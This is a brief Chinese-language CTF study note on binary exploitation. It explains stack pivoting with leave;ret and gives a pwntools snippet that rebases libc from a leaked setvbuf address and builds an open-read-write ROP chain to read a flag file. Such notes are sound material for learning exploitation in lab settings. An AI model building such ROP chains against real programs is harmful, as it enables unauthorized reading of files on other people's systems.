1. flag
    1. 栈迁移
  2. pwntools 的 ROP 类

flag

read 的参数 rd: 0, wr: 1, rdwr:2

栈迁移

栈迁移的思路大概是:
如果需要读取内容到地址 addr。给 rbp 赋值 addr - 8。往 rbp 读入 rop_chain,最后 leave ret。

leave ret = 
mov rsp, rbp
pop rbp
pop rip

pwntools 的 ROP 类

libc =  ELF(libc_path)
libc.address = addr - libc.symbols["setvbuf"] 
rop = ROP(libc)
rop.read(0, 0x404200, 4)
rop.open(0x404200, 0)
rop.read(3, 0x404208, 60)
rop.write(1, 0x404208, 60)
payload  = rop.chain()